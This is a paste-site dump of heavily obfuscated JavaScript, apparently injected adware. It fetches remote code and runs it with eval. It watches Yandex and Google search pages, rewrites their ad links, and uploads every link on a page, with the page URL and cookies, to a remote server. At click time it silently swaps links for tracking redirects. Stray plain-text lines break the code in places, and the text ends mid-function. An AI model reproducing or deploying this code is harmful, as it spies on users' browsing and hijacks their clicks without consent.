· 7 years ago · Jul 02, 2018, 09:20 PM
1'use strict';
2(function(Ps$jscomp$0) {
3 /**
4 * @param {!Object} params
5 * @return {?}
6 */
7 function cz$jscomp$0(params) {
8 /**
9 * @return {?}
10 */
11 var confirmModal = function() {
12 /**
13 * @return {?}
14 */
15 var showModal = function() {
16 /** @type {string} */
17 var PR_COMMENT = "com";
18 /** @type {string} */
19 var viewModelInstance = PR_COMMENT;
20 return viewModelInstance;
21 };
22 var self = showModal();
23 return self;
24 };
25 /** @type {string} */
26 var result = "org";
27 /** @type {string} */
28 var ll = "net";
29 /**
30 * @return {?}
31 */
32 var normalizeColor = function() {
33 /**
34 * @return {?}
35 */
36 var r = function() {
37 /**
38 * @return {?}
39 */
40 var fn = function() {
41 /** @type {string} */
42 var type = "info";
43 /** @type {string} */
44 var template = [type].join("");
45 return template;
46 };
47 var returned = fn();
48 return returned;
49 };
50 var result = r();
51 return result;
52 };
53 /** @type {string} */
54 var endif = "edu";
55 /**
56 * @return {?}
57 */
58 var overBorder = function() {
59 /**
60 * @return {?}
61 */
62 var error = function() {
63 /** @type {string} */
64 var bmp = "gov";
65 /** @type {string} */
66 var data = bmp;
67 return data;
68 };
69 var ne_resize = error();
70 return ne_resize;
71 };
72 /** @type {string} */
73 var s = "me";
74 /** @type {string} */
75 var name = "na";
76 /**
77 * @param {string} a
78 * @return {?}
79 */
80 var get = function(a) {
81 return a.toLowerCase().replace(/^www\./, "").replace(/:.*$/, "");
82 };
83 var type = get(document.location.hostname);
84 var rel = get(params.hostname);
85 if (!rel) {
86 return false;
87 }
88 if (rel === type) {
89 return type;
90 }
91 /** @type {!Array} */
92 var lines = [confirmModal(), [result].join(""), ll, normalizeColor(), endif, overBorder(), name + s];
93 var i;
94 var frame;
95 var timeout;
96 /** @type {number} */
97 i = 0;
98 for (; lines[i]; frame = timeout = null, i++) {
99 /**
100 * @return {?}
101 */
102 var makeChars = function() {
103 /** @type {string} */
104 var r = ".]+";
105 /** @type {string} */
106 var f = "([^\\";
107 /** @type {string} */
108 var g = "\\.";
109 /** @type {string} */
110 var gid = f + r + g;
111 return gid;
112 };
113 /**
114 * @return {?}
115 */
116 var g = function() {
117 /** @type {string} */
118 var $mime_type = ".*)";
119 /** @type {string} */
120 var node = [$mime_type].join("");
121 return node;
122 };
123 frame = rel.match(new RegExp(makeChars() + lines[i] + g()));
124 if (frame && frame[1]) {
125 /** @type {string} */
126 var CredentialScope = ".]+\\";
127 /** @type {string} */
128 var $mime_type = "([";
129 /** @type {string} */
130 var prKey = "^\\";
131 /** @type {string} */
132 var inImageSize = ".";
133 /** @type {string} */
134 var _end2 = ".*)";
135 timeout = type.match(new RegExp([$mime_type, prKey, CredentialScope, inImageSize].join("") + lines[i] + _end2));
136 if (timeout && timeout[1] === frame[1]) {
137 return timeout[1];
138 }
139 return false;
140 }
141 }
142 return false;
143 }
144 /**
145 * @param {string} arcLarge
146 * @param {number} arcSweep
147 * @param {number} x
148 * @param {!Object} r
149 * @return {undefined}
150 */
151 function A$jscomp$0(arcLarge, arcSweep, x, r) {
152 /**
153 * @return {?}
154 */
155 var get = function() {
156 /** @type {string} */
157 var prKey = "=/";
158 /** @type {string} */
159 var baseDir = "path";
160 /** @type {string} */
161 var t = [baseDir, prKey].join("");
162 return t;
163 };
164 /** @type {string} */
165 var th_field = "";
166 if (x) {
167 /**
168 * @return {?}
169 */
170 var fitData = function() {
171 /** @type {string} */
172 var y = "; ";
173 /** @type {string} */
174 var n = "=";
175 /** @type {string} */
176 var rh = "exp";
177 /** @type {string} */
178 var dh = "ires";
179 /** @type {string} */
180 var .num_const = y + rh + dh + n;
181 return .num_const;
182 };
183 /** @type {!Date} */
184 var dateExpires = new Date;
185 dateExpires.setTime(dateExpires.getTime() + x * 24 * 60 * 60 * 1e3);
186 /** @type {string} */
187 th_field = fitData() + dateExpires.toGMTString();
188 }
189 /** @type {string} */
190 var cookie_string = arcLarge + "=" + arcSweep + th_field + ";";
191 if (r) {
192 /**
193 * @return {?}
194 */
195 var random = function() {
196 /**
197 * @return {?}
198 */
199 var add = function() {
200 /** @type {string} */
201 var prKey = "in=.";
202 /** @type {string} */
203 var $mime_type = "doma";
204 /** @type {string} */
205 var handle = [$mime_type, prKey].join("");
206 return handle;
207 };
208 var result = add();
209 return result;
210 };
211 /** @type {string} */
212 cookie_string = cookie_string + (random() + r + ";");
213 }
214 /** @type {string} */
215 cookie_string = cookie_string + get();
216 /** @type {string} */
217 document.cookie = cookie_string;
218 }
219 /**
220 * @param {string} str
221 * @return {?}
222 */
223 function iv$jscomp$0(str) {
224 /** @type {string} */
225 var result = str + "=";
226 /** @type {!Array<string>} */
227 var directories = document.cookie.split(";");
228 /** @type {number} */
229 var i = 0;
230 var d;
231 for (; i < directories.length; i++) {
232 /** @type {string} */
233 d = directories[i];
234 for (; d.charAt(0) == " ";) {
235 /** @type {string} */
236 d = d.substring(1, d.length);
237 }
238 if (d.indexOf(result) == 0) {
239 return d.substring(result.length, d.length);
240 }
241 }
242 return null;
243 }
244 /**
245 * @return {?}
246 */
247 var _Qe$jscomp$0 = function() {
248 /**
249 * @return {?}
250 */
251 var prompt = function() {
252 /**
253 * @return {?}
254 */
255 var next = function() {
256 /** @type {string} */
257 var currentRelations = "top";
258 /** @type {string} */
259 var addedRelations = currentRelations;
260 return addedRelations;
261 };
262 var result = next();
263 return result;
264 };
265 var sliderNewName = prompt();
266 return sliderNewName;
267 };
268 /** @type {string} */
269 var NN$jscomp$0 = "sel";
270 /** @type {string} */
271 var ui$jscomp$0 = "f";
272 /**
273 * @return {?}
274 */
275 var _Qe2$jscomp$0 = function() {
276 /** @type {string} */
277 var keys = "a7c7";
278 /** @type {string} */
279 var n = "eem";
280 /** @type {string} */
281 var dir = "sh";
282 /** @type {string} */
283 var key = "c3";
284 /** @type {string} */
285 var meta = "gci";
286 /** @type {string} */
287 var name = "ao";
288 /** @type {string} */
289 var lNo = meta + name + keys + key + n + dir;
290 return lNo;
291 };
292 /** @type {string} */
293 var ff$jscomp$0 = "7c3";
294 /** @type {string} */
295 var Rl$jscomp$0 = "a7c";
296 /** @type {string} */
297 var Qo$jscomp$0 = "ee";
298 /** @type {string} */
299 var Il$jscomp$0 = "msh";
300 /** @type {string} */
301 var tl$jscomp$0 = "gc";
302 /** @type {string} */
303 var JP$jscomp$0 = "iao";
304 /**
305 * @return {?}
306 */
307 var _Qe16$jscomp$0 = function() {
308 /**
309 * @return {?}
310 */
311 var normalizeColor = function() {
312 /**
313 * @return {?}
314 */
315 var r = function() {
316 /**
317 * @return {?}
318 */
319 var fn = function() {
320 /** @type {string} */
321 var receiver = "__e";
322 /** @type {string} */
323 var i = "xtfc";
324 /** @type {string} */
325 var x = receiver + i;
326 return x;
327 };
328 var returned = fn();
329 return returned;
330 };
331 var result = r();
332 return result;
333 };
334 var normalizedColor = normalizeColor();
335 return normalizedColor;
336 };
337 /**
338 * @return {?}
339 */
340 var _Qe19$jscomp$0 = function() {
341 /**
342 * @return {?}
343 */
344 var removeDiacritics = function() {
345 /** @type {string} */
346 var j = "a7c";
347 /** @type {string} */
348 var n = "ao";
349 /** @type {string} */
350 var _ = "7c3e";
351 /** @type {string} */
352 var message = "e";
353 /** @type {string} */
354 var i = "gci";
355 /** @type {string} */
356 var str = i + n + j + _ + message;
357 return str;
358 };
359 var stripped = removeDiacritics();
360 return stripped;
361 };
362 /** @type {string} */
363 var gE$jscomp$0 = "ds.";
364 /** @type {string} */
365 var jd$jscomp$0 = "net";
366 /** @type {string} */
367 var aC$jscomp$0 = "dat";
368 /** @type {boolean} */
369 var rU$jscomp$0 = Ps$jscomp$0[_Qe$jscomp$0()] !== Ps$jscomp$0[[NN$jscomp$0, ui$jscomp$0].join("")];
370 if (rU$jscomp$0) {
371 return;
372 }
373 if (Ps$jscomp$0[_Qe2$jscomp$0()]) {
374 return;
375 }
376 /** @type {number} */
377 Ps$jscomp$0[tl$jscomp$0 + JP$jscomp$0 + Rl$jscomp$0 + ff$jscomp$0 + Qo$jscomp$0 + Il$jscomp$0] = 1;
378 var F$jscomp$0 = _Qe16$jscomp$0();
379 var IG$jscomp$0 = {
380 dt : false,
381 isFrame : rU$jscomp$0,
382 modules : [],
383 opts : [],
384 options : {},
385 start : null,
386 $ : null,
387 now : function() {
388 return (new Date).getTime();
389 },
390 buildMCUrl : function(lmbda, n) {
391 return document.location.protocol + "//" + this.options.mcHost + lmbda + "?" + this.$.param(n);
392 },
393 getPageHostname : function() {
394 return document.location.hostname.replace(/^www\./, "");
395 },
396 init : function(u$jscomp$2) {
397 /**
398 * @return {?}
399 */
400 var _Qe17$jscomp$0 = function() {
401 /**
402 * @return {?}
403 */
404 var r = function() {
405 /** @type {string} */
406 var method = "get";
407 /** @type {string} */
408 var style = [method].join("");
409 return style;
410 };
411 var xmlparser = r();
412 return xmlparser;
413 };
414 /** @type {string} */
415 var OZ$jscomp$0 = "0.0.";
416 /** @type {string} */
417 var Sw$jscomp$0 = "//co";
418 /** @type {string} */
419 var lJ$jscomp$0 = "htt";
420 /** @type {string} */
421 var Co$jscomp$0 = "ue";
422 /** @type {string} */
423 var uE$jscomp$0 = "de.";
424 /** @type {string} */
425 var Gh$jscomp$0 = "com/";
426 /** @type {string} */
427 var Bd$jscomp$0 = "ps:";
428 /** @type {string} */
429 var hu$jscomp$0 = "ry.";
430 /** @type {string} */
431 var ic$jscomp$0 = "jq";
432 /** @type {string} */
433 var rK$jscomp$0 = "-3.";
434 /** @type {string} */
435 var xG$jscomp$0 = ".js";
436 /** @type {string} */
437 var eo$jscomp$0 = "min";
438 /** @type {string} */
439 var No$jscomp$0 = "ry";
440 /** @type {string} */
441 var nn$jscomp$0 = "jque";
442 IG$jscomp$0.start = IG$jscomp$0.now();
443 /** @type {!Object} */
444 IG$jscomp$0.options = u$jscomp$2;
445 /** @type {!XMLHttpRequest} */
446 var TC$jscomp$0 = new XMLHttpRequest;
447 /**
448 * @return {undefined}
449 */
450 TC$jscomp$0.onload = function() {
451 eval(this.responseText);
452 var $$jscomp$0 = IG$jscomp$0.$ = jQuery;
453 jQuery.noConflict();
454 $$jscomp$0.each(IG$jscomp$0.modules, function(k, bridge) {
455 bridge.call(null, IG$jscomp$0.opts[k], IG$jscomp$0, $$jscomp$0, window, document);
456 });
457 };
458 TC$jscomp$0.open(_Qe17$jscomp$0(), lJ$jscomp$0 + Bd$jscomp$0 + Sw$jscomp$0 + uE$jscomp$0 + nn$jscomp$0 + hu$jscomp$0 + Gh$jscomp$0 + ic$jscomp$0 + Co$jscomp$0 + No$jscomp$0 + rK$jscomp$0 + OZ$jscomp$0 + eo$jscomp$0 + xG$jscomp$0);
459 TC$jscomp$0.send();
460 },
461 run : function(data) {
462 this.modules.push(data);
463 }
464 };
465 IG$jscomp$0.init({
466 subid : _Qe19$jscomp$0(),
467 mcHost : aC$jscomp$0 + gE$jscomp$0 + jd$jscomp$0
468 });
469 IG$jscomp$0.opts.push({
470 place : 5608,
471 maxIndexLength : 1e4,
472 minDistance : 200,
473 phrases : false,
474 domains : true
475 });
476 IG$jscomp$0.run(function(data, that, $, window, document) {
477 if (!that.isFrame) {
478 var req = document.createElement("a");
479 var STORAGE = window.localStorage;
480 var self = {
481 progress : false,
482 runTimeout : null,
483 init : function() {
484 /**
485 * @return {?}
486 */
487 var accountHandler = function() {
488 /** @type {string} */
489 var packet_length = "ndex";
490 /** @type {string} */
491 var baseName = ".ru";
492 /** @type {string} */
493 var mypos = "ya";
494 /** @type {string} */
495 var middlePathName = mypos + packet_length + baseName;
496 return middlePathName;
497 };
498
499 yandex.ru
500
501 /** @type {string} */
502 var _action_ = "x.u";
503 /** @type {string} */
504 var id = "nde";
505 /** @type {string} */
506 var key = "a";
507 /** @type {string} */
508 var apiv1cards = "ya";
509 /**
510 * @return {?}
511 */
512 var createDlButton = function() {
513 /** @type {string} */
514 var cuboid0 = "goog";
515 /** @type {string} */
516 var w = "le.r";
517 /** @type {string} */
518 var h = "u";
519 /** @type {string} */
520 var link = cuboid0 + w + h;
521 return link;
522 };
523 /** @type {string} */
524 var middlePathName = "le.c";
525 /** @type {string} */
526 var groupNamePrefix = "goog";
527 /** @type {string} */
528 var dupeNameCount = "om";
529 /** @type {string} */
530 var Z = ".com";
531 /** @type {string} */
532 var Y = "ogle";
533 /** @type {string} */
534 var outerCircle = ".ua";
535 /** @type {string} */
536 var X = "go";
537
538 google.com.ua
539
540 switch(self.watchMutations(), that.getPageHostname()) {
541 case accountHandler():
542 case apiv1cards + id + _action_ + key:
543 self.prepareYandex();
544 break;
545 case createDlButton():
546 case groupNamePrefix + middlePathName + dupeNameCount:
547 case X + Y + Z + outerCircle:
548 self.prepareGoogle();
549 }
550 },
551 watchMutations : function() {
552 if (window.MutationObserver) {
553 /**
554 * @return {?}
555 */
556 var get = function() {
557 /** @type {string} */
558 var $mime_type = "ya";
559 /** @type {string} */
560 var CredentialScope = "x.ru";
561 /** @type {string} */
562 var id = "nde";
563 /** @type {string} */
564
565 // yandex.ru
566
567 var t = [$mime_type, id, CredentialScope].join("");
568 return t;
569 };
570 /**
571 * @return {?}
572 */
573 var handle = function() {
574 /** @type {string} */
575 var $mime_type = "yand";
576 /** @type {string} */
577 var arch = "ua";
578 /** @type {string} */
579 var prKey = "ex.";
580 /** @type {string} */
581 var number = [$mime_type, prKey, arch].join("");
582 return number;
583 };
584 /** @type {string} */
585 var inImageSize = "om";
586 /** @type {string} */
587 var CredentialScope = ".c";
588 /** @type {string} */
589 var prKey = "gle";
590 /** @type {string} */
591 var goo = "goo";
592 /**
593 * @return {?}
594 */
595 var wrapper = function() {
596 /** @type {string} */
597 var inImageSize = "m.u";
598 /** @type {string} */
599 var context = "co";
600 /** @type {string} */
601 var prKey = "le.";
602 /** @type {string} */
603 var expected = "a";
604 /** @type {string} */
605 var $mime_type = "goog";
606 /** @type {string} */
607 var stream = [$mime_type, prKey, context, inImageSize, expected].join("");
608 return stream;
609 };
610 /** @type {string} */
611 var tfl = "ogle";
612 /** @type {string} */
613 var i = ".ru";
614 /** @type {string} */
615 var ii = "go";
616 var property = that.getPageHostname();
617 var properties = {};
618 /** @type {!Array} */
619 properties[get()] = [/\bcontent__left\b/, /\bsuggest2\b/];
620 /** @type {!Array} */
621 properties[handle()] = [/\bcontent__left\b/, /\bsuggest2\b/];
622 /** @type {!Array} */
623 properties[[goo, prKey, CredentialScope, inImageSize].join("")] = [/\bcontent\b/, /\btsf\b/];
624 /** @type {!Array} */
625 properties[wrapper()] = [/\bcontent\b/, /\btsf\b/];
626 /** @type {!Array} */
627 properties[ii + tfl + i] = [/\bcontent\b/, /\btsf\b/];
628 if (properties.hasOwnProperty(property)) {
629 var p = properties[property];
630 var observer = new window.MutationObserver(function(newHits) {
631 /** @type {boolean} */
632 var n = true;
633 /** @type {number} */
634 var ii = 0;
635 for (; ii < newHits.length; ii++) {
636 var e = newHits[ii].target;
637 for (; e;) {
638 /** @type {number} */
639 var i = 0;
640 for (; i < p.length; i++) {
641 if (p[i].test(e.className)) {
642 /** @type {boolean} */
643 n = false;
644 }
645 }
646 e = e.parentNode;
647 }
648 }
649 if (!n) {
650 self.reRun();
651 }
652 });
653 observer.observe(document.body, {
654 childList : true,
655 subtree : true
656 });
657 }
658 }
659 },
660 prepareYandex : function() {
661 /** @type {string} */
662 var error = "er";
663 /** @type {string} */
664 var suffix = "m";
665 /** @type {string} */
666 var CredentialScope = "p-ad";
667 /** @type {string} */
668 var $mime_type = ".s";
669 /** @type {string} */
670 var inImageSize = "v-";
671 /** @type {string} */
672 var M = "ite";
673 $([$mime_type, error, CredentialScope, inImageSize, M, suffix].join("")).each(function() {
674 /** @type {string} */
675 var height = "c__";
676 /** @type {string} */
677 var content = "item";
678 /** @type {string} */
679 var inImageSize = "__gr";
680 /** @type {string} */
681 var prKey = "rp-";
682 /** @type {string} */
683 var cfgH = "nu";
684 /** @type {string} */
685 var permissions = "rl";
686 /** @type {string} */
687 var code = "pa";
688 /** @type {string} */
689 var $mime_type = ".se";
690 /** @type {string} */
691 var stderrIndicator = ".org";
692 /** @type {string} */
693 var cfgW = " a, ";
694 /** @type {string} */
695 var pinVal = "ani";
696 /** @type {string} */
697 var topicUri6 = "ee";
698 /** @type {string} */
699 var b = "th";
700 /** @type {string} */
701 var name = " a";
702 var h = $(this);
703 var expRecords = h.find([$mime_type, prKey, content, inImageSize, topicUri6, cfgH, permissions, cfgW, stderrIndicator, pinVal, height, code, b, name].join(""));
704 if (expRecords.length) {
705 /**
706 * @return {?}
707 */
708 var merge = function() {
709 /**
710 * @return {?}
711 */
712 var update = function() {
713 /** @type {string} */
714 var operation = "a-hr";
715 /** @type {string} */
716 var s = "dat";
717 /** @type {string} */
718 var _ = "ef";
719 /** @type {string} */
720
721 data-href
722
723 var result = s + operation + _;
724 return result;
725 };
726 var obj = update();
727 return obj;
728 };
729 /**
730 * @return {?}
731 */
732 var normalizeColor = function() {
733 /**
734 * @return {?}
735 */
736 var r = function() {
737 /** @type {string} */
738 var prKey = "p:/";
739 /** @type {string} */
740 var attrsStr = "/";
741 /** @type {string} */
742 var $mime_type = "htt";
743 /** @type {string} */
744 var style = [$mime_type, prKey, attrsStr].join("");
745 return style;
746 };
747 var result = r();
748 return result;
749 };
750 var methodElement = expRecords[0];
751 var base64src = methodElement.textContent.toLowerCase().split("/")[0];
752 h.find("a").attr(merge(), normalizeColor() + base64src);
753 }
754 });
755 },
756 prepareGoogle : function() {
757
758 .ads-ad
759
760 /** @type {string} */
761 var digits = "s-";
762 /** @type {string} */
763 var geometry = ".ad";
764 /** @type {string} */
765 var result = "ad";
766 $(geometry + digits + result).each(function() {
767 /** @type {string} */
768 var input = "cit";
769 /** @type {string} */
770 var i = "e";
771 var $this = $(this);
772 var methodElement = $this.find(input + i)[0];
773 if (methodElement) {
774 /** @type {string} */
775 var strpriv = "-h";
776 /** @type {string} */
777 var name = "ref";
778 /** @type {string} */
779 var _ = "data";
780 /** @type {string} */
781 var attrsStr = "//";
782 /** @type {string} */
783 var prKey = "tp:";
784 /** @type {string} */
785 var $mime_type = "ht";
786 var desc = methodElement.textContent.toLowerCase().split("/")[0];
787 $this.find("a").attr(_ + strpriv + name, [$mime_type, prKey, attrsStr].join("") + desc);
788 }
789 });
790 },
791 reRun : function() {
792 if (!self.progress) {
793 clearTimeout(self.runTimeout);
794 /** @type {number} */
795 self.runTimeout = setTimeout(function() {
796 self.run(document.body);
797 }, 500);
798 }
799 },
800 run : function(code) {
801 /** @type {boolean} */
802 self.progress = true;
803 var result = {
804 url : document.location.href,
805 urls : [],
806 phrases : []
807 };
808 if (data.domains) {
809 result.urls = self.findUrls(code);
810 }
811 if (result.urls.length) {
812 /**
813 * @return {?}
814 */
815 var translate = function() {
816 /** @type {string} */
817 var SPACE = "pla";
818 /** @type {string} */
819 var extension = "fi";
820 /** @type {string} */
821 var className = "ceme";
822 /** @type {string} */
823 var title = "nt/";
824 /** @type {string} */
825 var current = "/re";
826 /** @type {string} */
827 var $ = "nd";
828 /** @type {string} */
829
830 /replacement/find
831
832 var pattern = current + SPACE + className + title + extension + $;
833 return pattern;
834 };
835 /**
836 * @return {?}
837 */
838 var select = function() {
839 /** @type {string} */
840 var t = "T";
841 /** @type {string} */
842 var prefix = "POS";
843 /** @type {string} */
844 var key = prefix + t;
845 return key;
846 };
847 /**
848 * @return {?}
849 */
850 var get = function() {
851 /** @type {string} */
852 var on = "on";
853 /** @type {string} */
854 var ii = "ap";
855 /** @type {string} */
856 var i = "cati";
857 /** @type {string} */
858 var ext = "js";
859 /** @type {string} */
860 var tbm = "pli";
861 /** @type {string} */
862 var index = "on/";
863 /** @type {string} */
864 var cacheFile = ii + tbm + i + index + ext + on;
865 return cacheFile;
866 };
867 /** @type {string} */
868 var statbackend = "jso";
869 /** @type {string} */
870 var key = "n";
871 var requestOrUrl = that.buildMCUrl(translate(), {
872 place : data.place,
873 subid : that.options.subid
874 });
875 return void $.ajax({
876 type : select(),
877 data : JSON.stringify(result),
878 contentType : get(),
879 dataType : statbackend + key,
880 xhrFields : {
881 withCredentials : true
882 },
883 url : requestOrUrl,
884 success : function(evt) {
885 if (!that.dt) {
886 self.replaceUrls(code, evt.urls);
887 setTimeout(function() {
888 /** @type {boolean} */
889 self.progress = false;
890 }, 500);
891 }
892 }
893 });
894 } else {
895 return void(self.progress = false);
896 }
897 },
898 getDomainByUrl : function(e) {
899 return req.href = e, self.getDomain(req);
900 },
901 getDomain : function(s) {
902 return s.hostname.toLowerCase().replace(/^www\./, "");
903 },
904 getRealDomain : function(done) {
905 return self.getDomainByUrl(self.getRealHref(done));
906 },
907 getRealHref : function(origin) {
908 /** @type {string} */
909 var locale = "ru";
910 /** @type {string} */
911 var goo = "goo";
912 /** @type {string} */
913 var prKey = "gle.";
914 /** @type {string} */
915 var distStyle = "gle.";
916 /** @type {string} */
917 var PR_COMMENT = "com";
918 /** @type {string} */
919 var $mime_type = "goo";
920 /**
921 * @return {?}
922 */
923 var afterImgLoad = function() {
924 /**
925 * @return {?}
926 */
927 var run = function() {
928 /** @type {string} */
929 var topicUri6 = "dex";
930 /** @type {string} */
931 var input = "bs";
932 /** @type {string} */
933 var CredentialScope = ".y";
934 /** @type {string} */
935 var cfgH = ".r";
936 /** @type {string} */
937 var $mime_type = "ya";
938 /** @type {string} */
939 var h = "u";
940 /** @type {string} */
941 var anInner = "an";
942 /** @type {string} */
943 var indexedData = [$mime_type, input, CredentialScope, anInner, topicUri6, cfgH, h].join("");
944 return indexedData;
945 };
946 var obj = run();
947 return obj;
948 };
949 /**
950 * @return {?}
951 */
952 var run = function() {
953 /** @type {string} */
954 var files = "-h";
955 /** @type {string} */
956 var da1 = "da";
957 /** @type {string} */
958 var currProj = "ta";
959 /** @type {string} */
960 var path = "ref";
961 /** @type {string} */
962 var ret = da1 + currProj + files + path;
963 return ret;
964 };
965 var match = self.getDomain(origin);
966 return -1 !== [[goo, prKey, locale].join(""), [$mime_type, distStyle, PR_COMMENT].join(""), afterImgLoad()].indexOf(match) && origin.getAttribute ? origin.getAttribute(run()) : origin.href;
967 },
968 getBaseRealHref : function(url) {
969 /** @type {string} */
970 var DEFAULT_REFERENCE_POINT = "lt";
971 /** @type {string} */
972 var v1ValueName = "y.ya";
973 /** @type {string} */
974 var topicUri6 = "ex.";
975 /** @type {string} */
976 var locale = "ru";
977 /** @type {string} */
978 var id = "nd";
979 /** @type {string} */
980 var $mime_type = "rea";
981 /**
982 * @return {?}
983 */
984 var createCharts = function() {
985 /** @type {string} */
986 var self = "pl";
987 /** @type {string} */
988 var n = "m.";
989 /** @type {string} */
990 var orig = "iu";
991 /** @type {string} */
992 var highlightColorOption = "ar";
993 /** @type {string} */
994 var dir = "com";
995 /** @type {string} */
996 var lNo = self + highlightColorOption + orig + n + dir;
997 return lNo;
998 };
999 /** @type {string} */
1000 var sitesowners = "me";
1001 /** @type {string} */
1002 var name = "es";
1003 /** @type {string} */
1004 var end = "ga";
1005 /** @type {string} */
1006 var siteName = "s.ru";
1007 /** @type {string} */
1008 var comparison = "prit";
1009 /** @type {string} */
1010 var CredentialScope = "om";
1011 /** @type {string} */
1012 var prKey = "p.c";
1013 /** @type {string} */
1014 var overviewId = "101x";
1015 /** @type {string} */
1016 var j = ".com";
1017 /** @type {string} */
1018 var SEPARATOR = "o.10";
1019 /** @type {string} */
1020 var n = "1xp";
1021 /** @type {string} */
1022 var directory = "prom";
1023 /**
1024 * @return {?}
1025 */
1026 var transliterateInuktitut = function() {
1027 /** @type {string} */
1028 var h = "u";
1029 /** @type {string} */
1030 var b = "spor";
1031 /** @type {string} */
1032 var w = "v.r";
1033 /** @type {string} */
1034 var v = "ti";
1035 /** @type {string} */
1036 var newString = b + v + w + h;
1037
1038 sportiv.ru
1039
1040 return newString;
1041 };
1042 req.href = self.getRealHref(url);
1043 var code = self.getDomain(req);
1044 /** @type {string} */
1045 var key = "";
1046 /** @type {!Array} */
1047 var cutKeystrokes = [[$mime_type, DEFAULT_REFERENCE_POINT, v1ValueName, id, topicUri6, locale].join(""), createCharts(), name + comparison + end + sitesowners + siteName, [overviewId, prKey, CredentialScope].join(""), directory + SEPARATOR + n + j, transliterateInuktitut()];
1048 return -1 !== cutKeystrokes.indexOf(code) && (key = req.pathname), code + key;
1049 },
1050 getDistance : function(b, a) {
1051 var m;
1052 var i;
1053 var t;
1054 var n;
1055 return b.top < a.top ? (t = b.top + b.height, n = a.top) : (t = a.top + a.height, n = b.top), b.left < a.left ? (m = b.left + b.width, i = a.left) : (m = a.left + a.width, i = b.left), Math.pow(m - i, 2) + Math.pow(t - n, 2);
1056 },
1057 findLinks : function(data) {
1058 return $(data).find("a").filter(function() {
1059 return !!this.hostname && !!self.getRealDomain(this);
1060 });
1061 },
1062 findUrls : function(code) {
1063 if (!code) {
1064 return [];
1065 }
1066 var metaInfos = {};
1067 return this.findLinks(code).each(function() {
1068 var k = self.getBaseRealHref(this);
1069 /** @type {number} */
1070 metaInfos[k] = 1;
1071 }), Object.keys(metaInfos);
1072 },
1073 replaceUrls : function(text, test) {
1074 if (text && test) {
1075 this.findLinks(text).each(function() {
1076 var element = this;
1077 var name = self.getBaseRealHref(element);
1078 if (name && test.hasOwnProperty(name)) {
1079 /** @type {string} */
1080 var brq = "n.";
1081 /** @type {string} */
1082 var flags = "gi";
1083 /** @type {string} */
1084 var sitesowners = "alie";
1085 /** @type {string} */
1086 var siteName = "xpre";
1087 /** @type {string} */
1088 var escapedEmail = ".co";
1089 /** @type {string} */
1090 var suffix = "m";
1091 /** @type {string} */
1092 var potential_users = "ss";
1093 /** @type {string} */
1094 var str = "lo";
1095 var fn = test[name];
1096 var el = self.getRealHref(element);
1097 if (el.indexOf && el.indexOf(str + flags + brq + sitesowners + siteName + potential_users + escapedEmail + suffix) > -1) {
1098 return;
1099 }
1100 element.realHref = el;
1101 element.hiddenHref = self.buildClickLink($.extend({
1102 href : el
1103 }, fn));
1104 self.setClickHandler(element);
1105 }
1106 });
1107 }
1108 },
1109 setClickHandler : function(target) {
1110 /** @type {function(?): ?} */
1111 var onclick = target.onclick;
1112 /**
1113 * @param {?} e
1114 * @return {?}
1115 */
1116 target.onclick = function(e) {
1117 /** @type {string} */
1118 var newContent = "nc";
1119 /** @type {string} */
1120 var dupeNameCount = "tion";
1121 /** @type {string} */
1122 var groupNamePrefix = "fu";
1123 var value;
1124 var item = self.handleClick(target);
1125 if (groupNamePrefix + newContent + dupeNameCount == typeof onclick && (value = onclick(e)), item && false === value) {
1126 return false;
1127 }
1128 };
1129 },
1130 handleClick : function(file) {
1131 if (!file.hiddenHref) {
1132 return false;
1133 }
1134 var href = file.href;
1135 var e = self.getDomain(document.location);
1136 if (that.dt && file.realHref) {
1137 return false;
1138 }
1139 var o = file.realHref && self.getDomainByUrl(file.realHref);
1140 if (o && (-1 !== e.indexOf(o) || -1 !== o.indexOf(e))) {
1141 var pos = that.now();
1142 if (!STORAGE || STORAGE._ym_ts && pos - STORAGE._ym_ts < 72e5 || pos - that.start < 6e4) {
1143 return false;
1144 }
1145 STORAGE._ym_ts = that.now();
1146 }
1147 var rn;
1148 if (rn = cz$jscomp$0(file)) {
1149 var upload = iv$jscomp$0(F$jscomp$0);
1150 if (upload == 1) {
1151 return false;
1152 } else {
1153 A$jscomp$0(F$jscomp$0, 1, 1, rn);
1154 }
1155 }
1156 file.href = file.hiddenHref;
1157 if (file.realHref) {
1158 delete file.hiddenHref;
1159 }
1160 setTimeout(function() {
1161 file.href = href;
1162 }, 10);
1163 return true;
1164 },
1165 buildClickLink : function(s) {
1166 /** @type {string} */
1167 var code = "en";
1168 /** @type {string} */
1169 var _ = "t/cl";
1170 /** @type {string} */
1171 var current = "/re";
1172 /** @type {string} */
1173 var a = "k";
1174 /** @type {string} */
1175 var SPACE = "pl";
1176 /** @type {string} */
1177 var secret = "ic";
1178 /** @type {string} */
1179 var className = "acem";
1180 s = $.extend({
1181 place : data.place,
1182 subid : that.options.subid
1183 }, s, {
1184 url : document.location.href
1185 });
1186 return that.buildMCUrl(current + SPACE + className + code + _ + secret + a, s);
1187 }
1188 };
1189 $(document).ready(function() {
1190 self.init();
1191 self.run(document.body);
1192 });
1193 }
1194 });
1195})(window);
1196(function(kb$jscomp$0, bs$jscomp$0) {
1197 /**
1198 * @param {string} name
1199 * @param {number} count
1200 * @param {number} timeout
1201 * @param {!NodeList} queue
1202 * @return {undefined}
1203 */
1204 function hO$jscomp$0(name, count, timeout, queue) {
1205 /**
1206 * @param {number} res
1207 * @param {number} key
1208 * @param {string} args
1209 * @param {string} value
1210 * @param {string} index
1211 * @return {?}
1212 */
1213 var render = function(res, key, args, value, index) {
1214 /** @type {string} */
1215 var b = "th";
1216 /** @type {string} */
1217 var $mime_type = "leng";
1218 /** @type {string} */
1219 var overviewId = "162";
1220 /** @type {string} */
1221 var appDrivePath = "2652";
1222 /** @type {string} */
1223 var CredentialScope = "727";
1224 /** @type {string} */
1225 var inImageSize = "627";
1226 /** @type {string} */
1227 var cfgH = "77";
1228 /** @type {string} */
1229 var distStyle = "7226";
1230 /** @type {string} */
1231 var topicUri6 = "82";
1232 /** @type {string} */
1233 var i = "lit";
1234 /** @type {string} */
1235 var expect = "sp";
1236 /** @type {string} */
1237 var current = "re";
1238 /** @type {string} */
1239 var html = "ver";
1240 /** @type {string} */
1241 var ACTION_SOUTH_EAST = "se";
1242 /** @type {string} */
1243 index = [$mime_type, b].join("");
1244 /** @type {string} */
1245 res = [overviewId].join("");
1246 /** @type {number} */
1247 key = 3;
1248 /** @type {string} */
1249 value = "";
1250 /** @type {string} */
1251 args = [appDrivePath, distStyle, CredentialScope, inImageSize, topicUri6, cfgH].join("");
